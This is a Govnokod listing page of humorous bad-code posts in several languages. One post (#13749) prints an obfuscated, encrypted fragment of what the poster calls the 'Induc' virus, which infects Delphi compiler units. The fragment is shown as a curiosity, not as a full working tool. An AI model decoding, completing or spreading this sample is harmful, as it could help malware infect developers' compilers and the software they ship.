1. Pascal / Говнокод #13750

    +165

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    Пишу менеджер автозапусков:
    
    type
      tregkey = class
        rootkey: hkey;
        keyname: string;
        param: string;
        value: string;
        function Rootkeyname:string;
      end;
    
    procedure TForm1.UpdateAutoruns;
    var
      i: integer;
      lst: tlistitem;
      rlist: tobjectlist;
      keyname: string;
      tregobj:tregkey;
    begin
      rlist := tobjectlist.create;
      ListView4.items.clear;
      try
        regread(windows.HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Run',rlist);
        regread(windows.HKEY_CURRENT_USER,
          'Software\Microsoft\Windows\CurrentVersion\RunOnce', rlist);
        regread(windows.HKEY_CURRENT_USER,
          'Software\Microsoft\Windows\CurrentVersion\RunServices', rlist);
        regread(windows.HKEY_CURRENT_USER,
          'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run', rlist);
        regread(windows.HKEY_CURRENT_USER,
          'HKEY_CURRENT_USER\Software\Microsoft\ Windows NT\CurrentVersion\Windows', rlist);
        regread(windows.HKEY_LOCAL_MACHINE,
          'Software\Microsoft\Windows\CurrentVersion\Run', rlist);
        regread(windows.HKEY_LOCAL_MACHINE,
          'Software\Microsoft\Windows\CurrentVersion\RunOnce', rlist);
        regread(windows.HKEY_LOCAL_MACHINE,
          'Software\Microsoft\Windows\CurrentVersion\RunServices', rlist);
        regread(windows.HKEY_LOCAL_MACHINE,
          'Software\Microsoft\Windows\CurrentVersion\RunServicesOnce', rlist);
        regread(windows.HKEY_LOCAL_MACHINE,
          'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\CurrentVersion\RunOnceEx', rlist);
        for i := rlist.Count - 1 downto 0 do
        begin
          tregobj:=tregkey(rlist[i]);
          lst := ListView4.items.Add;
          keyname := format('%s\%s\%s', [tregobj.Rootkeyname,tregobj.keyname, tregobj.param]);
          lst.Caption :=keyname;
          lst.SubItems.AddObject(tregobj.value,tregobj);
        end;
      finally
        rlist.Free;
      end;
    end;
    
    
    
    В итоге этот код
    
    procedure TForm1.sBitBtn20Click(Sender: TObject);
    var
      i:integer;
      reg:tregistry;
    begin
        for i:= listview4.Items.Count -1 downto 0 do
        showmessage(tregkey(listview4.Items[i].subitems.Objects[0]).rootkeyname);
    end;
    
    либо вызывает ошибку доступа либо пустой messagebox. 
    В чем лажа? Я тупо не вижу ошибки.

    Stertor, 07 Сентября 2013

    Комментарии (134)
  2. Pascal / Говнокод #13749

    +126

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    uses windows; 
    var sc:array[1..33] of string=('pr`r+vd}_~vrJ+ulq+rbIlqqltj<==22h+~e+roqd}fH#',
    '+b~}ro+u/;H"/=;"Ju0;H"0=;"Ju5;H"5=;"Ju6;H"6=;"Jl{~H"!"JxrfvqH"Blq{locdl}+E~q`ro+BE<=2+A~}_`_AtAw~~_"J',
    'rxrfH"O^?LT+DR+L+]DB@+?LT+O^+?D@="J+ep}bod~}+Psq#SIAto`JRIroqd}f$IRoqd}fJulq+++DID}o`f`qJa`fd}+++e~q+DIH<+o~+W`}foc#R$+_~+++a`fd}+++++Q`rpwoIHQ`rpwo:Bcq#Ato`#Rjdh$+s~q+S$J',
    '++`}_J`}_J+ep}bod~}+?BpIroqd}fJa`fd}+++q`rpwoIHPsq#<3;7"ЫЦМ"$J`}_J+ep}bod~}+{lrIroqd}fJa`fd}+++Q`rpwoIHPsq#</47"апе"$J`}_J+ep}bod~}+dx{Iroqd}fJa`fd}+++q`rpwoIHPsq#<527"ЩЭТЮЕЭЕШЦБЦЩЧШ"$J',
    '`}_J+ep}bod~}+_r<Iroqd}fJa`fd}+++q`rpwoIHPsq#147"]qЉdy‡~sLnq~|‡rtLTs|xpoL"$JJ`}_J+ep}bod~}+_r1Iroqd}fJa`fd}+++q`rpwoIHPsq#017"ejjK{hE"$+`}_J+ep}bod~}+_r2Iroqd}fJa`fd}+++Q`rpwoIHPsq#47"P‰e‡ЉywPЉ€`P‰{‰Pi{‰Yef‰€"$J',
    '`}_J+ep}bod~}+_r/Iroqd}fJa`fd}+++q`rpwoIHPsq#557"-=:+-J<87<5w"$J`}_J+ep}bod~}+_r0Iroqd}fJa`fd}+++q`rpwoIHPsq#07"TfwzTlee56:k€k"" "$J`}_J+ep}bod~}+clwIroqd}fJa`fd}+++q`rpwoIHPsq#107"ykyx‡o9:@|sp6€pp"$J',
    '`}_J+ep}bod~}+p}xIRoqd}fJa`fd}+++Q`rpwoIHPsq#1007"—…—љ©‘ЧШў™˜’‘›њЬЄ’’"$J`}_J+ep}bod~}+d}poIroqd}fJa`fd}+++q`rpwoIHPsq#647"G5GJ9!‡€IG9H%,%Jl969"$J`}_J+ep}bod~}+erl_Iroqd}fJa`fd}+++q`rpwoIHPsq#/47"ACA@OgxhmUmVV.ODO"$J',
    '`}_J+ep}bod~}+fcefIroqd}fJa`fd}+++q`rpwoIHPsq#<447"ЇНЇІЎ№прЄ°ҐЇҐ¶Ѕпрдўєє"$J`}_J+ep}bod~}+{w~clIroqd}fJa`fd}+++Q`rpwoIHPsq#<7"_t|x}r_r>_t_"$J`}_J+ep}bod~}+r`}_eq~xlf~_Iroqd}fJ',
    'a`fd}+++Q`rpwoIHPsq#4<7"l0>NM>M3>p3/5"$J`}_J+ep}bod~}+adcIroqd}fJa`fd}+++Q`rpwoIHPsq#//7"_fkl{ЋBYSjXmD{}BmKXAC{}cЋ{"$J`}_J+ep}bod~}+rb~Iroqd}fJa`fd}+++Q`rpwoIHPsq#<357"ДРЮГФоешТП„ѓеГЭХеДВДедВДфРПДЭ"$J',
    '`}_J+ep}bod~}+bfIroqd}fJa`fd}+++Q`rpwoIHPsq#37"jf}‡Ћd‰xOZfwx^xd‰OYWjO"$J`}_J+ep}bod~}+L#rIroqd}f$Iroqd}fJulq+dId}o`f`qJa`fd}+e~q+dIH<+o~+w`}foc#r$+_~+a`fd}+rjdhIHbcq###Ato`#rjdh$:<$+s~q+<;$85$J',
    'de+rjdhHBcq#20$+oc`}+rjdhIHBcq#24$J`}_Jq`rpwoIHrJ`}_J+{q~b`_pq`+A#r7_7`Iroqd}f$Julq+oIroqd}fJe<7e1Io`soedw`JcIblq_d}lwJeIROLQOP[D]E^J{I[Q^B@RRnD]E^QXLOD^]Jo<7o17o2IEDW@ODX@Jddx{Iroqd}fJa`fd}+ЉD8€+',
    'oIHrJlrrdf}edw`#e<7r$Jq`r`o#e<$Jde+d~q`rpwoGM;oc`}+`sdoJlrrdf}edw`#e17_:{lr$Jq`vqdo`#e1$Jde+d~q`rpwoGM;+oc`}+a`fd}+bw~r`edw`#e<$J`sdoJ`}_Jddx{IHdx{Jvcdw`+}~o+`~e#e<$_~+a`fd}+q`l_w}#e<7r$J',
    'vqdo`w}#e17r$Jde+{~r#ddx{7r$GM;+oc`}+++aq`lzJ`}_J+vqdo`w}#e17L#rbj<h$$Je~q+cIH<+o~+228<+_~+++vqdo`w}#e17"""":rbjch7"""7"$Jvqdo`w}#e17"""":rbj22h:"""$J"$Je~q+cIH1+o~+22+_~+vqdo`w}#e17L#rbjch$$J',
    'bw~r`edw`#e<$Jbw~r`edw`#e1$J+cIHBq`lo`Edw`#{bclq#_:_bp$7;7;7}dw727;7;$Jde+cH?V^Q?#8<$+oc`}+`sdoJF`oEdw`Odx`#c7Ko<7Ko17Ko2$JBw~r`Cl}_w`#c$Jedwwbclq#e7rd‰`~e#e$7;$Je=baIHrd‰`~e#e$Je=_vEwlfr+IHROLQOEnPR@RC^VVD]?^VJe=vRc~vVd}_~vIHRVnCD?@J',
    '+de+}~o+Bq`lo`[q~b`rr#}dw7{bclq#`:"!":_:{lr:"!"$7+++++++++}dw7+}dw7elwr`7;7}dw7}dw7e7{$+oc`}+`sdoJVldoE~qRd}fw`^ay`bo#+{=c[q~b`rr7+D]ED]DO@$J?`w`o`Edw`#{bclq#_:{lr$$J+cIHBq`lo`Edw`#{bclq#_:_bp$71057;7}dw727;7;$J',
    'de+cH?V^Q?#8<$+oc`}+`sdoJR`oEdw`Odx`#c7Ko<7Ko17Ko2$JBw~r`Cl}_w`#c$JLrrdf}edw`#e<7o$Jde+D^Q`rpwoGM;+oc`}+`sdoJQ`vqdo`#e<$JVqdo`w}#e<7xrfvq$JBw~r`edw`#e<$J`}_J+ep}bod~}+B#OI[Bclq$IRoqd}fJ',
    'ulq+zICZ@TJbIlqqlt+j<==100h+~e+bclqJdIblq_d}lwJqIroqd}fJa`fd}+de+Q`f^{`}Z`t@s#CZ@TnW^BLWnXLBCD]@7+O7;7Z@TnQ@L?7z$H;+oc`}+a`fd}+dIH100Jde+Q`f\p`qtUlwp`@s#z7[Bclq#?R1$7}dw7Kd7Kb7Kd$+H+;+oc`}+',
    'a`fd}+qIH""J+dIH<J+vcdw`+bjdh+GM+Bcq#;$+_~++a`fd}+++qIHq:bjdhJd}b#d$J+`}_JQ`rpwoIHqJ`}_JQ`fBw~r`Z`t#z$J`}_J`}_J+ep}bod~}+Dr?afIa~~w`l}Julq++LIAto`Ja`fd}+Q`rpwoIHelwr`Jlrx+++x~u+L7;J++x~u+`ls7erIj;;;;;;<3chJ',
    '++x~u+`ls7j`ls+:2;chJ++x~u‰s+`ls7ato`+{oq+j`ls:;1hJ++bx{+`ls7<J++y}`+KWAWJ++x~u+L7<JKWAWI+`}_JDe+LGM;+oc`}+q`rpwoIHoqp`J`}_J+ep}bod~}+Dr?`apff`q[q`r`}oZ`q}`wIa~~w`l}Jlrr`xaw`qJ',

    Знаменитый вирус "Индюк", точнее, небольшой обрезок. Вирус распространяется через компилятор, посредством инфицирования системных юнитов.

    Stertor, 06 Сентября 2013

    Комментарии (17)
  3. Java / Говнокод #13748

    +67

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    /**
         * Удаляет "плохие" символы в пути и заменяет пробелы на символ подчеркивания.
         * Двойные кавычки заменяются на одинарные.
         * @param path путь.
         * @return путь с удаленными недопустимыми символами.
         */
    public static String correctPath(String path) {
            return correctPath(path);
    }

    Moloth, 06 Сентября 2013

    Комментарии (21)
  4. Куча / Говнокод #13747

    +121

    1. 1
    #include "commode.h"

    //development might be long and harassing
    //we'll need some furniture to keep food and coffee

    ckopo, 06 Сентября 2013

    Комментарии (1)
  5. C# / Говнокод #13746

    +142

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    private static string AddStr(string s1, string s2)
    		{
    			string result;
    			if (s1 == string.Empty)
    			{
    				result = s2;
    			}
    			else
    			{
    				if (s2 == string.Empty)
    				{
    					result = s1;
    				}
    				else
    				{
    					result = s1 + " " + s2;
    				}
    			}
    			return result;
    		}

    Код - бессмысленный и беспощадный

    leon_mz, 06 Сентября 2013

    Комментарии (73)
  6. C++ / Говнокод #13745

    +14

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    constexpr const char str1[] = "Anna";
    constexpr const char str2[] = "Denis";
    constexpr const char str3[] = "Vladimir";
    constexpr const char str4[] = "Alexey";
    
    constexpr const char *arr[] = { str1, str2, str3, str4 };
    
    #define GetMaxLenght(array) \
    constexpr unsigned char str_len(const char* const str) \
    {\
       return *str ? (1 + str_len(str + 1)) : 0;\
    }\
    \
    template <int index> \
    struct MaxLenght\
    {\
        static const int prev_size = MaxLenght<index-1>::max_size;\
        static const int cur_size = str_len(array[index]);\
        static const int max_size = cur_size > prev_size ? cur_size : prev_size;\
    };\
    \
    template <>\
    struct MaxLenght<-1>\
    {\
        static const int max_size = 0;\
    };\
    static const int AmountStr = sizeof(array) / sizeof(array[0]);\
    static const int array##_max_size = MaxLenght<AmountStr-1>::max_size;
    GetMaxLenght(arr);
    
    //   в *.cpp
    //   static_assert((arr_max_size == 8), "Error");

    http://habrahabr.ru/post/192736/

    LispGovno, 06 Сентября 2013

    Комментарии (22)
  7. Java / Говнокод #13744

    +73

    1. 1
    2. 2
    String format = String.format("%%0%dd", 2); // format = "%02d";
    String seconds = String.format(format, milTime % 60);

    nikanmf, 06 Сентября 2013

    Комментарии (6)
  8. C++ / Говнокод #13743

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    double vvod (double a1, double a2, double a3) {
     
    // a1=a a2=b a3=c
     
    	cout<<"Введите значение коэфицента a: ";
    	cin>>a1;
    	cout<<endl;
    	cout<<"Введите значение коэфицента b: ";
    	cin>>a2;
    	cout<<endl;
    	cout<<"Введите значение коэфицента c: ";
    	cin>>a3;
    	cout<<endl;
    	return (a1);
    	return (a2);
    	return (a3);
    }

    Оказывается в С++ можно возвращать 3 значения из функции
    http://ideone.com/tGWRpl - полная версия.

    pabloid, 05 Сентября 2013

    Комментарии (51)
  9. Objective C / Говнокод #13742

    −105

    1. 1
    2. 2
    3. 3
    4. 4
    NSArray* arry = [NSArray arrayWithObjects:arrayWithObjects:prev, next, nil];
    [arry performSelector:NSSelectorFromString(@"retain")];
    //---
    [actionSheet performSelector:@selector(setTag:) withObject:arry];

    АРЦ нельзя кастовать указатели? Хватит это терпеть!

    Psionic, 05 Сентября 2013

    Комментарии (7)
  10. C++ / Говнокод #13741

    −1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    #include <iostream>
    using namespace std;
    
    struct NG
    {
    	template<class T>
    	struct get
    	{
    		typedef typename T::f type;
    	};
    };
    
    template <typename T, typename NameGetter>
    struct has_member_impl
    {
        typedef char matched_return_type;
        typedef long unmatched_return_type;
        
        template <typename C>
        static matched_return_type f(typename NameGetter::template get<C>*);
        
        template <typename C>
        static unmatched_return_type f(...);
        
    public:
        static const bool value = (sizeof(f<T>(0)) == sizeof(matched_return_type));
    };
    
    template <typename T, typename NameGetter>
    struct has_member{
       enum { value = has_member_impl<T, NameGetter>::value };
     };
     
     class T{};
    
    int main() {
    	cout<<has_member<T, NG>::value;
    	return 0;
    }

    http://ideone.com/4LDGhZ

    LispGovno, 04 Сентября 2013

    Комментарии (36)